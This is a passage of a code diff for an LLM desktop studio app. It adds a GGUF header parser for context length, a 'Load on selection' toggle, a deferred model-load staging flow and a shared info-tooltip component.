+                    key = kbytes.decode("utf-8", "replace")
+                    vt_bytes = f.read(4)
+                    if len(vt_bytes) < 4:
+                        break
+                    vtype = struct.unpack("<I", vt_bytes)[0]
+
+                    if vtype == 8 and key == "general.architecture":
+                        slen_bytes = f.read(8)
+                        if len(slen_bytes) < 8:
+                            break
+                        slen = struct.unpack("<Q", slen_bytes)[0]
+                        if slen > 1 << 22:  # 4 MB sanity bound
+                            break
+                        sbytes = f.read(slen)
+                        if len(sbytes) < slen:
+                            break
+                        ctx_key = f"{sbytes.decode('utf-8', 'replace')}.context_length"
+                    elif ctx_key is not None and key == ctx_key and vtype in (4, 10):
+                        width = 4 if vtype == 4 else 8
+                        n_bytes = f.read(width)
+                        if len(n_bytes) < width:
+                            break
+                        value = struct.unpack("<I" if vtype == 4 else "<Q", n_bytes)[0]
+                        # A real context length is positive; treat 0/garbage as
+                        # absent so the UI never builds a slider with max < min.
+                        return value if value > 0 else None
+                    else:
+                        if not _skip_gguf_value(f, vtype):
+                            break
+                except (struct.error, UnicodeDecodeError):
+                    break
+    except OSError as e:
+        logger.debug(f"read_gguf_context_length: cannot open {path}: {e}")
+        return None
+    except Exception as e:
+        logger.debug(f"read_gguf_context_length: parse failure on {path}: {e}")
+        return None
+    return None
+
+
 # Strings (8) and arrays (9) are handled inline.
 _FIXED_VTYPE_SIZES: Dict[int, int] = {
     0: 1,  # uint8
diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx
index 4792e78c4d..7fb9380037 100644
--- a/studio/frontend/src/app/routes/__root.tsx
+++ b/studio/frontend/src/app/routes/__root.tsx
@@ -119,6 +119,7 @@ function RootLayout() {
         chatRuntime.setActiveThreadId(null);
         chatRuntime.setActiveProjectId(null);
         chatRuntime.setIncognito(false);
+        if (chatRuntime.pendingSelection) chatRuntime.abandonStagedModel();
         void navigate({
           to: "/chat",
           search: { new: crypto.randomUUID() },
@@ -135,6 +136,7 @@ function RootLayout() {
     chatRuntime.setActiveProjectId(null);
     chatRuntime.setActiveThreadId(null);
     chatRuntime.setIncognito(false);
+    if (chatRuntime.pendingSelection) chatRuntime.abandonStagedModel();
   }, [isChatRoute]);
 
   return (
diff --git a/studio/frontend/src/components/assistant-ui/model-selector.tsx b/studio/frontend/src/components/assistant-ui/model-selector.tsx
index 80090bfd63..d17892e1bd 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector.tsx
@@ -8,6 +8,8 @@ import {
   PopoverContent,
   PopoverTrigger,
 } from "@/components/ui/popover";
+import { InfoHint } from "@/components/ui/info-hint";
+import { Switch } from "@/components/ui/switch";
 import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
 import { usePlatformStore } from "@/config/env";
 import { isCustomProviderType } from "@/features/chat/external-providers";
@@ -108,6 +110,11 @@ interface ModelSelectorProps {
   activeGgufVariant?: string | null;
   onValueChange?: (value: string, meta: ModelSelectorChangeMeta) => void;
   onEject?: () => void;
+  /** When provided, renders a persisted "Load on selection" toggle in the
+   *  popover. Off → picking a model stages it for a deferred, configured load
+   *  instead of loading immediately. */
+  loadOnSelection?: boolean;
+  onLoadOnSelectionChange?: (value: boolean) => void;
   onFoldersChange?: () => void;
   onPickLocalModel?: () => void | Promise<void>;
   onModelsChange?: (deletedModel?: DeletedModelRef) => void;
@@ -210,6 +217,8 @@ function ModelSelectorContent({
   onPickLocalModel,
   onModelsChange,
   deleteDisabled,
+  loadOnSelection,
+  onLoadOnSelectionChange,
   className,
   dataTour,
 }: {
@@ -223,6 +232,8 @@ function ModelSelectorContent({
   onPickLocalModel?: () => void;
   onModelsChange?: (deletedModel?: DeletedModelRef) => void;
   deleteDisabled?: boolean;
+  loadOnSelection?: boolean;
+  onLoadOnSelectionChange?: (value: boolean) => void;
   className?: string;
   dataTour?: string;
 }) {
@@ -378,6 +389,37 @@ function ModelSelectorContent({
           </button>
         </div>
       ) : null}
+      {onLoadOnSelectionChange ? (
+        <div className="mt-1.5 border-t border-border/70 pt-1.5">
+          <div className="flex w-full items-center justify-between gap-2 rounded-md px-2 py-1.5 text-xs text-muted-foreground">
+            <div className="flex min-w-0 flex-col gap-0.5">
+              <div className="flex min-w-0 items-center gap-1.5">
+                <span>Load on selection</span>
+                <InfoHint>
+                  <div className="space-y-1">
+                    <div>
+                      <span className="font-medium">On:</span> load the model
+                      immediately after selection.
+                    </div>
+                    <div>
+                      <span className="font-medium">Off:</span> configure options
+                      first, then click Load model.
+                    </div>
+                  </div>
+                </InfoHint>
+              </div>
+              <span className="text-[10px] leading-none text-muted-foreground/70">
+                Local GGUF models only
+              </span>
+            </div>
+            <Switch
+              className="panel-switch shrink-0"
+              checked={loadOnSelection ?? true}
+              onCheckedChange={onLoadOnSelectionChange}
+            />
+          </div>
+        </div>
+      ) : null}
     </PopoverContent>
   );
 }
@@ -395,6 +437,8 @@ export function ModelSelector({
   onPickLocalModel,
   onModelsChange,
   deleteDisabled,
+  loadOnSelection,
+  onLoadOnSelectionChange,
   variant = "outline",
   size = "default",
   className,
@@ -513,6 +557,8 @@ export function ModelSelector({
         onPickLocalModel={onPickLocalModel ? handlePickLocalModel : undefined}
         onModelsChange={onModelsChange}
         deleteDisabled={deleteDisabled}
+        loadOnSelection={loadOnSelection}
+        onLoadOnSelectionChange={onLoadOnSelectionChange}
         className={contentClassName}
         dataTour={contentDataTour}
       />
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
index 3165057021..6f11ec96f7 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
@@ -1357,15 +1357,14 @@ export function HubModelPicker({
             <>
               <ListLabel>LM Studio</ListLabel>
               {lmStudioModels.map((m) => {
+                const isGgufFile = m.path.toLowerCase().endsWith(".gguf");
                 const isGguf = isGgufRepo(m.id) || isGgufRepo(m.display_name);
                 const optionKey = makeModelOptionKey("lm-studio", m.id);
                 return (
                   <div key={m.id}>
                     <ModelRow
                       label={m.model_id ?? m.display_name}
-                      meta={
-                        isGguf || m.path.toLowerCase().endsWith(".gguf") ? "GGUF" : "Local"
-                      }
+                      meta={isGguf || isGgufFile ? "GGUF" : "Local"}
                       selected={value === m.id}
                       optionProps={hubModelList.getOptionProps(
                         optionKey,
@@ -1381,6 +1380,7 @@ export function HubModelPicker({
                             source: "local",
                             isLora: false,
                             isDownloaded: true,
+                            isGguf: isGgufFile,
                           });
                         }
                       }}
@@ -1594,6 +1594,7 @@ export function HubModelPicker({
                             source: "local",
                             isLora: false,
                             isDownloaded: true,
+                            isGguf: true,
                           });
                         } else if (isGguf) {
                           setExpandedGguf((prev) =>
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/types.ts b/studio/frontend/src/components/assistant-ui/model-selector/types.ts
index 4cc5d779ce..6a86e4f7ed 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/types.ts
+++ b/studio/frontend/src/components/assistant-ui/model-selector/types.ts
@@ -31,6 +31,9 @@ export interface ModelSelectorChangeMeta {
   ggufVariant?: string;
   isDownloaded?: boolean;
   expectedBytes?: number;
+  /** Direct local .gguf file picked without a variant (custom folder / LM
+   *  Studio). Marks it as a GGUF source for the deferred-load staging flow. */
+  isGguf?: boolean;
 }
 
 export interface DeletedModelRef {
diff --git a/studio/frontend/src/components/ui/info-hint.tsx b/studio/frontend/src/components/ui/info-hint.tsx
new file mode 100644
index 0000000000..4433478647
--- /dev/null
+++ b/studio/frontend/src/components/ui/info-hint.tsx
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { ReactNode } from "react";
+
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from "@/components/ui/tooltip";
+import { InformationCircleIcon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+
+/** Small "i" affordance that reveals a styled tooltip on hover/focus. The
+ *  standard inline help control across the settings UI. */
+export function InfoHint({ children }: { children: ReactNode }) {
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <button
+          type="button"
+          aria-label="More info"
+          className="inline-flex size-4 shrink-0 cursor-help items-center justify-center rounded-full text-muted-foreground/70 transition-colors hover:text-[#383835] dark:hover:text-[#e8e8e8] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+        >
+          <HugeiconsIcon
+            icon={InformationCircleIcon}
+            strokeWidth={1.75}
+            className="size-3.5"
+          />
+        </button>
+      </TooltipTrigger>
+      <TooltipContent
+        side="top"
+        align="center"
+        sideOffset={6}
+        collisionPadding={12}
+        className="[&_span>svg]:hidden! duration-0 max-w-[240px] text-left"
+      >
+        {children}
+      </TooltipContent>
+    </Tooltip>
+  );
+}
diff --git a/studio/frontend/src/features/chat/api/chat-api.ts b/studio/frontend/src/features/chat/api/chat-api.ts
index 2d2fa81012..f3235fa447 100644
--- a/studio/frontend/src/features/chat/api/chat-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-api.ts
@@ -2,6 +2,7 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { authFetch } from "@/features/auth";
+import { consumeNativePathToken } from "@/features/native-intents/api";
 import { formatFastApiDetail } from "@/lib/format-fastapi-error";
 import type {
   MessageRecord,
@@ -115,6 +116,45 @@ export async function validateModel(
   return parseJsonOrThrow<ValidateModelResponse>(response);
 }
 
+/**
+ * Read a GGUF's native context length from its local header (no GPU load, no
+ * download). Returns null when the file isn't downloaded yet, the model isn't a
+ * GGUF, or it's gated. For a native (drag-drop / picked) file, pass
+ * `nativePathToken` so the backend reads the granted local path. Used by the
+ * deferred-load staging flow to fill the context slider before the single load.
+ */
+export async function fetchGgufContextLength(payload: {
+  model_path: string;
+  gguf_variant?: string | null;
+  hf_token?: string | null;
+  nativePathToken?: string | null;
+}): Promise<number | null> {
+  let nativePathLease: string | null = null;
+  if (payload.nativePathToken) {
+    try {
+      nativePathLease = (
+        await consumeNativePathToken(payload.nativePathToken, "validate-model")
+      ).nativePathLease;
+    } catch {
+      // Lease expired / revoked: degrade to no context (the load can re-mint).
+      return null;
+    }
+  }
+  const response = await authFetch("/api/inference/validate", {
+    method: "POST",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({
+      model_path: payload.model_path,
+      gguf_variant: payload.gguf_variant ?? null,
+      hf_token: payload.hf_token ?? null,
+      native_path_lease: nativePathLease,
+      include_context_length: true,
+    }),
+  });
+  const res = await parseJsonOrThrow<ValidateModelResponse>(response);
+  return res.context_length ?? null;
+}
+
 export async function unloadModel(payload: UnloadModelRequest): Promise<void> {
   const response = await authFetch("/api/inference/unload", {
     method: "POST",
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index 3b518f83bf..5ed834fb9e 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -62,7 +62,10 @@ import {
   parseExternalModelId,
 } from "./external-providers";
 import { useChatModelRuntime } from "./hooks/use-chat-model-runtime";
+import type { SelectedModelInput } from "./hooks/use-chat-model-runtime";
 import { useChatProjects } from "./hooks/use-chat-projects";
+import { useStagedModelPreparation } from "./hooks/use-staged-model-preparation";
+import { useLatestRef } from "@/features/hub/hooks/use-latest-ref";
 import {
   type SidebarItem,
   useChatSidebarItems,
@@ -93,6 +96,7 @@ import {
   CHAT_IMAGE_TOOLS_ENABLED_KEY,
   CHAT_TOOLS_ENABLED_KEY,
   CHAT_WEB_FETCH_TOOLS_ENABLED_KEY,
+  hasGgufSource,
   loadOptionalBool,
   useChatRuntimeStore,
 } from "./stores/chat-runtime-store";
@@ -1024,6 +1028,20 @@ export function ChatPage(): ReactElement {
 
   const settingsOpen = useChatRuntimeStore((s) => s.settingsPanelOpen);
   const setSettingsOpen = useChatRuntimeStore((s) => s.setSettingsPanelOpen);
+  const loadOnSelection = useChatRuntimeStore((s) => s.loadOnSelection);
+  const setLoadOnSelection = useChatRuntimeStore((s) => s.setLoadOnSelection);
+  // Deferred-load staging: downloads a staged GGUF (if needed) and reads its
+  // header context so the sheet can show the context slider before the load.
+  const stagedDownload = useStagedModelPreparation();
+  // Abandon a staged pick: the store action cancels its in-flight download and
+  // reverts the edited knobs, so nothing lingers after the user walks away.
+  const abandonStaged = useCallback(() => {
+    useChatRuntimeStore.getState().abandonStagedModel();
+  }, []);
+  // Tracks whether the chat page is still mounted, so a staged-load failure that
+  // resolves after the user left chat doesn't resurrect the abandoned pick.
+  const mountedRef = useRef(true);
+  useEffect(() => () => void (mountedRef.current = false), []);
   const incognito = useChatRuntimeStore((s) => s.incognito);
   const setIncognito = useChatRuntimeStore((s) => s.setIncognito);
   const incognitoLabel = incognito
@@ -1503,12 +1521,64 @@ export function ChatPage(): ReactElement {
     closeArtifactSurface();
   }, [activeThreadId, closeArtifactSurface, selectedArtifact, view]);
 
+  // Abandon a staged (not-yet-loaded) pick when the chat context actually
+  // changes — switching threads, leaving single view, or starting a new chat /
+  // project — so a stale Load button can't resurface in a different context.
+  // New Chat keeps activeThreadId null and only bumps the `new` search nonce, so
+  // the key includes the route identity, not just the thread. Mirrors the
+  // incognito reset pattern. (Route exit is handled in __root.tsx, which runs
+  // after this unmounts.) Clear only on a real change, never on mount: staging
+  // from the Hub sets pendingSelection then navigates here, and clearing on
+  // mount would wipe it. Comparing the previous context (rather than a first-run
+  // flag) is also safe under StrictMode's double-invoke and component remounts.
+  const chatContextKey = `${view.mode}|${activeThreadId ?? ""}|${search.new ?? ""}|${search.project ?? ""}`;
+  const chatContextKeyRef = useLatestRef(chatContextKey);
+  const prevChatContextRef = useRef<string | null>(null);
+  useEffect(() => {
+    const prev = prevChatContextRef.current;
+    prevChatContextRef.current = chatContextKey;
+    if (prev === null || prev === chatContextKey) return;
+    abandonStaged();
+  }, [chatContextKey, abandonStaged]);
+
   const hasActiveModel = Boolean(inferenceParams.checkpoint);
+  // Load immediately, or — when "Load on selection" is off — stage the pick so
+  // its load options can be set first. Shared by the main selector, native
+  // drag-drop/picker, and the dropped-file chip (the Hub stages via the store).
+  const stageOrLoad = useCallback(
+    async (selection: SelectedModelInput) => {
+      const store = useChatRuntimeStore.getState();
+      // Only GGUF picks have pre-load options worth staging. Non-GGUF models
+      // (and the toggle-on case) load immediately, so e.g. a trust_remote_code
+      // approval surfaces through the normal load path.
+      if (store.loadOnSelection || !hasGgufSource(selection)) {
+        // Abandon any staged GGUF first so its edited knobs (e.g. a custom
+        // context length) don't leak into this immediate load -- resolveLoad
+        // reads customContextLength before checking the target is GGUF.
+        abandonStaged();
+        await selectModel(selection);
+        return;
+      }
+      // Tear down any existing staged pick first so its in-flight download is
+      // cancelled, not left running after we rebind to the new pick.
+      abandonStaged();
+      store.stageModel({
+        id: selection.id,
+        isLora: selection.isLora,
+        ggufVariant: selection.ggufVariant,
+        isDownloaded: selection.isDownloaded,
+        expectedBytes: selection.expectedBytes,
+        nativePathToken: selection.nativePathToken,
+        isGguf: selection.isGguf,
+      });
+    },
+    [abandonStaged, selectModel],
+  );
   const loadNativeModelIntent = useCallback(
     async (intent: NativeIntent, loadingDescription: string) => {
       const label =
         intent.path.displayLabel || intent.displayLabel || "Local GGUF model";
-      await selectModel({
+      await stageOrLoad({
         id: label,
         nativePathToken: intent.path.token,
         isDownloaded: true,
@@ -1518,7 +1588,7 @@ export function ChatPage(): ReactElement {
       });
       useNativeIntentStore.getState().clearModelIntent(intent.id);
     },
-    [selectModel],
+    [stageOrLoad],
   );
   const handleNativeModelDropAutoLoad = useCallback(
     (intent: NativeIntent) =>
@@ -1567,6 +1637,7 @@ export function ChatPage(): ReactElement {
         ggufVariant?: string;
         isDownloaded?: boolean;
         expectedBytes?: number;
+        isGguf?: boolean;
       },
     ) => {
       const store = useChatRuntimeStore.getState();
@@ -1579,6 +1650,9 @@ export function ChatPage(): ReactElement {
       )
         return;
       if (meta?.source === "external" || isExternalModelId(value)) {
+        // Switching to an external model abandons any staged local pick: cancel
+        // its download too (setCheckpoint below only clears the pending + knobs).
+        abandonStaged();
         const selectedExternal = parseExternalModelId(value);
         const selectedProvider = selectedExternal
           ? externalProvidersForChat.find(
@@ -1746,20 +1820,27 @@ export function ChatPage(): ReactElement {
             duration: 6000,
           });
         }
-        await selectModel({
+        const selection = {
           id: value,
           isLora: meta?.isLora,
           ggufVariant: meta?.ggufVariant,
           isDownloaded: meta?.isDownloaded,
           expectedBytes: meta?.expectedBytes,
-        });
+          isGguf: meta?.isGguf,
+        };
+        // "Load on selection" off: stage the model and open settings so its
+        // load knobs (tensor parallel, context length…) can be set, then it
+        // loads once via the sheet's Load button. The currently loaded model
+        // stays put until the user commits.
+        await stageOrLoad(selection);
       })();
     },
     [
+      abandonStaged,
       activeThreadId,
       externalProvidersForChat,
       modelsFromStore,
-      selectModel,
+      stageOrLoad,
       view,
     ],
   );
@@ -2139,6 +2220,8 @@ export function ChatPage(): ReactElement {
                 activeGgufVariant={activeGgufVariant}
                 onValueChange={handleCheckpointChange}
                 onEject={handleEject}
+                loadOnSelection={loadOnSelection}
+                onLoadOnSelectionChange={setLoadOnSelection}
                 onFoldersChange={refreshLocalModels}
                 onPickLocalModel={isTauri ? chooseNativeModel : undefined}
                 onModelsChange={refreshModelLists}
@@ -2180,7 +2263,7 @@ export function ChatPage(): ReactElement {
               <NativeModelChip
                 intent={pendingNativeModelIntent}
                 nativeReadsDisabled={!nativePathLeasesSupported}
-                onLoad={(selection) => selectModel(selection)}
+                onLoad={(selection) => stageOrLoad(selection)}
               />
             ) : null}
             {loadingModel && loadToastDismissed ? (
@@ -2330,7 +2413,13 @@ export function ChatPage(): ReactElement {
 
       <ChatSettingsPanel
         open={settingsOpen}
-        onOpenChange={setSettingsOpen}
+        onOpenChange={(open) => {
+          setSettingsOpen(open);
+          // Closing the sheet abandons a staged (not-yet-loaded) pick: cancel its
+          // download and revert the staged knobs so nothing lingers as a dirty
+          // edit (or a background download) on the loaded model.
+          if (!open) abandonStaged();
+        }}
         params={inferenceParams}
         onParamsChange={setInferenceParams}
         isExternalModel={isExternalModel}
@@ -2356,6 +2445,47 @@ export function ChatPage(): ReactElement {
             });
           }
         }}
+        onLoadPendingModel={() => {
+          const pending = useChatRuntimeStore.getState().pendingSelection;
+          if (!pending) return;
+          const keyAtLoad = chatContextKey;
+          // forceReload: the staged model isn't loaded yet, so bypass the
+          // same-checkpoint dedupe (and selectModel clears pendingSelection).
+          // keepSpeculative: honor the speculative mode set on the sidebar.
+          void selectModel({
+            ...pending,
+            forceReload: true,
+            keepSpeculative: true,
+            throwOnError: true,
+          }).catch(() => {
+            // Recoverable failure (expired token, gated repo, OOM…): selectModel
+            // cleared the pick but left the edited knobs intact.
+            const store = useChatRuntimeStore.getState();
+            // A pick staged meanwhile owns the knobs now; leave it untouched.
+            if (store.pendingSelection) return;
+            // Restore (not re-stage, which would reset the knobs) only if the
+            // staged-load is still wanted: same chat context, sheet still open,
+            // page still mounted.
+            const stillWanted =
+              mountedRef.current &&
+              store.settingsPanelOpen &&
+              chatContextKeyRef.current === keyAtLoad;
+            if (stillWanted) {
+              store.setPendingSelection(pending);
+            } else {
+              // Abandoned (closed the sheet / switched chats / left chat): drop
+              // the orphaned staged knob edits so they don't linger as dirty
+              // settings over the loaded model.
+              store.resetModelSettingsToLoaded();
+            }
+          });
+        }}
+        stagedDownloadFraction={stagedDownload.progress?.fraction ?? null}
+        onCancelStagedDownload={() =>
+          stagedDownload.cancelDownload(
+            useChatRuntimeStore.getState().pendingSelection?.ggufVariant ?? null,
+          )
+        }
       />
     </div>
   );
diff --git a/studio/frontend/src/features/chat/chat-settings-sheet.tsx b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
index 74c407fc3b..7e5b92ffb6 100644
--- a/studio/frontend/src/features/chat/chat-settings-sheet.tsx
+++ b/studio/frontend/src/features/chat/chat-settings-sheet.tsx
@@ -54,18 +54,14 @@ import {
 import { Slider } from "@/components/ui/slider";
 import { Switch } from "@/components/ui/switch";
 import { Textarea } from "@/components/ui/textarea";
-import {
-  Tooltip,
-  TooltipContent,
-  TooltipTrigger,
-} from "@/components/ui/tooltip";
+import { InfoHint } from "@/components/ui/info-hint";
+import { Tooltip, TooltipContent } from "@/components/ui/tooltip";
 import { useIsMobile } from "@/hooks/use-mobile";
 import { useLlamaUpdateCheck } from "@/hooks/use-llama-update-check";
 import { cn } from "@/lib/utils";
 import {
   ArrowTurnBackwardIcon,
   Edit03Icon,
-  InformationCircleIcon,
   LayoutAlignRightIcon,
 } from "@hugeicons/core-free-icons";
 import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
@@ -101,7 +97,10 @@ import {
   providerSupportsBuiltinCodeExecution,
   providerSupportsFastMode,
 } from "./provider-capabilities";
-import { useChatRuntimeStore } from "./stores/chat-runtime-store";
+import {
+  isPendingGguf,
+  useChatRuntimeStore,
+} from "./stores/chat-runtime-store";
 import { RetrievalSettingsSection } from "@/features/rag/components/retrieval-settings-section";
 import type { InferenceParams } from "./types/runtime";
 
@@ -112,33 +111,6 @@ function canUseStorage(): boolean {
   return typeof window !== "undefined";
 }
 
-export function InfoHint({ children }: { children: ReactNode }) {
-  return (
-    <Tooltip>
-      <TooltipTrigger asChild>
-        <button
-          type="button"
-          aria-label="More info"
-          className="inline-flex size-4 shrink-0 cursor-help items-center justify-center rounded-full text-muted-foreground/70 transition-colors hover:text-[#383835] dark:hover:text-[#e8e8e8] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
-        >
-          <HugeiconsIcon
-            icon={InformationCircleIcon}
-            strokeWidth={1.75}
-            className="size-3.5"
-          />
-        </button>
-      </TooltipTrigger>
-      <TooltipContent
-        side="left"
-        sideOffset={8}
-        className="tooltip-compact [&_span>svg]:hidden! duration-0 max-w-64"
-      >
-        {children}
-      </TooltipContent>
-    </Tooltip>
-  );
-}
-
 /**
  * Editable numeric value display, shared by every slider value and the Context
  * Length input. An <input> that looks like text (shows `displayValue ?? value`,
@@ -466,6 +438,12 @@ interface ChatSettingsPanelProps {
    */
   externalProviderType?: string | null;
   onReloadModel?: () => void;
+  /** Loads the staged `pendingSelection` (deferred "Load on selection" flow). */
+  onLoadPendingModel?: () => void;
+  /** Download progress (0–1) for a staged GGUF being fetched, or null when idle. */
+  stagedDownloadFraction?: number | null;
+  /** Cancels the in-flight staged download (paired with abandoning the stage). */
+  onCancelStagedDownload?: () => void;
 }
 
 export function ChatSettingsPanel({
@@ -479,6 +457,9 @@ export function ChatSettingsPanel({
   onExternalProviderChange,
   externalProviderType = null,
   onReloadModel,
+  onLoadPendingModel,
+  stagedDownloadFraction,
+  onCancelStagedDownload,
 }: ChatSettingsPanelProps) {
   // Local models show every knob; providerCapabilities is only consulted when
   // isExternalModel. Unknown providers fall back to the OpenAI-compat shape via
@@ -493,9 +474,31 @@ export function ChatSettingsPanel({
   const showPresencePenalty =
     !isExternalModel || Boolean(providerCapabilities?.presencePenalty);
   const isMobile = useIsMobile();
-  const isGguf = useChatRuntimeStore((s) => s.activeGgufVariant) != null;
+  const pendingSelection = useChatRuntimeStore((s) => s.pendingSelection);
+  const abandonStagedModel = useChatRuntimeStore((s) => s.abandonStagedModel);
+  const resetModelSettingsToLoaded = useChatRuntimeStore(
+    (s) => s.resetModelSettingsToLoaded,
+  );
+  // A staged GGUF pick (deferred load) shows the GGUF load knobs so they can be
+  // set before the single load.
+  const pendingIsGguf = isPendingGguf(pendingSelection);
+  // Short, human-readable name for the staged pick (HF ids carry an org prefix;
+  // native picks are already a display label). Drives the "staged, not loaded"
+  // callout so it's obvious the selection hasn't loaded yet.
+  const stagedLabel = (() => {
+    const id = pendingSelection?.id ?? "";
+    const slash = id.lastIndexOf("/");
+    const base = slash >= 0 ? id.slice(slash + 1) : id;
+    return base || id;
+  })();
+  const isLoadedGguf =
+    useChatRuntimeStore((s) => s.activeGgufVariant) != null;
+  const isGguf = isLoadedGguf || pendingIsGguf;
+  // A staged pick is always a local GGUF, so show its Model section (and the
+  // Load button) even when the currently active model is external.
   const hasModelContent =
-    !isExternalModel && (isGguf || Boolean(params.checkpoint));
+    pendingSelection != null ||
+    (!isExternalModel && (isGguf || Boolean(params.checkpoint)));
   const speculativeType = useChatRuntimeStore((s) => s.speculativeType);
   const setSpeculativeType = useChatRuntimeStore((s) => s.setSpeculativeType);
   const loadedSpeculativeType = useChatRuntimeStore(
@@ -560,8 +563,25 @@ export function ChatSettingsPanel({
   const setActivePreset = useChatRuntimeStore((s) => s.setActivePreset);
   const settingsHydrated = useChatRuntimeStore((s) => s.settingsHydrated);
 
-  const ctxDisplayValue = customContextLength ?? ggufContextLength ?? "";
-  const ctxMaxValue = ggufNativeContextLength ?? ggufContextLength ?? null;
+  // A staged (not-yet-loaded) GGUF carries its own header context length on
+  // pendingSelection, so the slider can use the staged model's real ceiling
+  // without reading the loaded model's `ggufContextLength`.
+  const stagedContextLength = pendingSelection?.contextLength ?? null;
+  // While staging, the sheet reflects the STAGED model, so its header context
+  // takes precedence over the loaded model's (which may differ or be larger).
+  const baseContext = pendingIsGguf ? stagedContextLength : ggufContextLength;
+  const baseNativeContext = pendingIsGguf
+    ? stagedContextLength
+    : ggufNativeContextLength;
+  // Context controls render once we actually have a ceiling: for a staged GGUF,
+  // once its header metadata arrives (post-download); otherwise post-load.
+  const showContextControl = pendingIsGguf
+    ? stagedContextLength != null
+    : isLoadedGguf;
+  const stagedDownloading =
+    stagedDownloadFraction != null && stagedDownloadFraction < 1;
+  const ctxDisplayValue = customContextLength ?? baseContext ?? "";
+  const ctxMaxValue = baseNativeContext ?? baseContext ?? null;
   const kvDirty = kvCacheDtype !== loadedKvCacheDtype;
   const ctxDirty = customContextLength !== null;
   const specDirty = speculativeType !== loadedSpeculativeType;
@@ -569,12 +589,6 @@ export function ChatSettingsPanel({
   const tpDirty = tensorParallel !== (loadedTensorParallel ?? false);
   const modelSettingsDirty =
     kvDirty || ctxDirty || specDirty || specDraftDirty || tpDirty;
-  const loadedChatTemplateOverride = useChatRuntimeStore(
-    (s) => s.loadedChatTemplateOverride,
-  );
-  const setChatTemplateOverride = useChatRuntimeStore(
-    (s) => s.setChatTemplateOverride,
-  );
   const [presetNameInput, setPresetNameInput] = useState(activePreset);
   const [systemPromptEditorOpen, setSystemPromptEditorOpen] = useState(false);
   const [systemPromptDraft, setSystemPromptDraft] = useState("");
@@ -846,8 +860,19 @@ export function ChatSettingsPanel({
         {hasModelContent && (
         <CollapsibleSection label="Model" defaultOpen={true} first>
           <div className="flex flex-col gap-4 pt-1">
+            {pendingSelection && (
+              <Alert className="rounded-[14px] border-primary/30 bg-primary/5 px-3 py-2">
+                <AlertTitle className="text-[12px] font-medium">
+                  {stagedLabel} is staged, not loaded yet
+                </AlertTitle>
+                <AlertDescription className="text-[11.5px] leading-[1.45] text-muted-foreground">
+                  Set the options below, then choose Load model to load it.
+                </AlertDescription>
+              </Alert>
+            )}
             {isGguf && (
               <>
+                {showContextControl && (
                 <div className="space-y-3.5">
                   <div className="flex items-center justify-between gap-3">
                     <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
@@ -857,14 +882,14 @@ export function ChatSettingsPanel({
                       value={
                         typeof ctxDisplayValue === "number"
                           ? ctxDisplayValue
-                          : (ggufContextLength ?? 0)
+                          : (baseContext ?? 0)
                       }
                       min={128}
                       max={ctxMaxValue ?? undefined}
                       step={1}
                       onChange={(v) => {
                         setCustomContextLength(
-                          v === (ggufContextLength ?? 0) ? null : v,
+                          v === (baseContext ?? 0) ? null : v,
                         );
                       }}
                       ariaLabel="Context Length"
@@ -879,14 +904,14 @@ export function ChatSettingsPanel({
                       Math.min(
                         typeof ctxDisplayValue === "number"
                           ? ctxDisplayValue
-                          : (ggufContextLength ?? 4096),
+                          : (baseContext ?? 4096),
                         ctxMaxValue ?? 4096,
                       ),
                     ]}
                     onValueChange={([v]) => {
                       const snapped = Math.round(v);
                       setCustomContextLength(
-                        snapped === (ggufContextLength ?? 0) ? null : snapped,
+                        snapped === (baseContext ?? 0) ? null : snapped,
                       );
                     }}
                     className="panel-slider"
@@ -901,6 +926,7 @@ export function ChatSettingsPanel({
                       </p>
                     )}
                 </div>
+                )}
                 <div className="flex items-center justify-between gap-3">
                   <div className="flex min-w-0 items-center gap-1.5">
                     <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
@@ -937,6 +963,8 @@ export function ChatSettingsPanel({
                     </Select>
                   </div>
                 </div>
+                {isGguf && (
+                  <>
                 <div className="flex items-center justify-between gap-3">
                   <div className="flex min-w-0 items-center gap-1.5">
                     <span className="min-w-0 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
@@ -1043,6 +1071,8 @@ export function ChatSettingsPanel({
                       className="h-7 w-[76px] rounded-full border-transparent bg-black/[0.04] dark:bg-white/[0.05] hover:bg-black/[0.06] dark:hover:bg-white/[0.1] pl-3 pr-2 py-0 text-[13px] font-medium text-nav-fg outline-none focus-visible:ring-0"
                     />
                   </div>
+                )}
+                  </>
                 )}
                 <div className="flex items-center justify-between gap-3">
                   <div className="flex min-w-0 items-center gap-1.5">
@@ -1099,8 +1129,44 @@ export function ChatSettingsPanel({
             {/* Apply/Reset belongs to the model-reload settings above (context
                 length, KV cache, speculative decoding). Render it here, before
                 the Chat Template row, so it never reads as attached to Chat
-                Template (which is edited via its own dialog). */}
-            {modelSettingsDirty && (
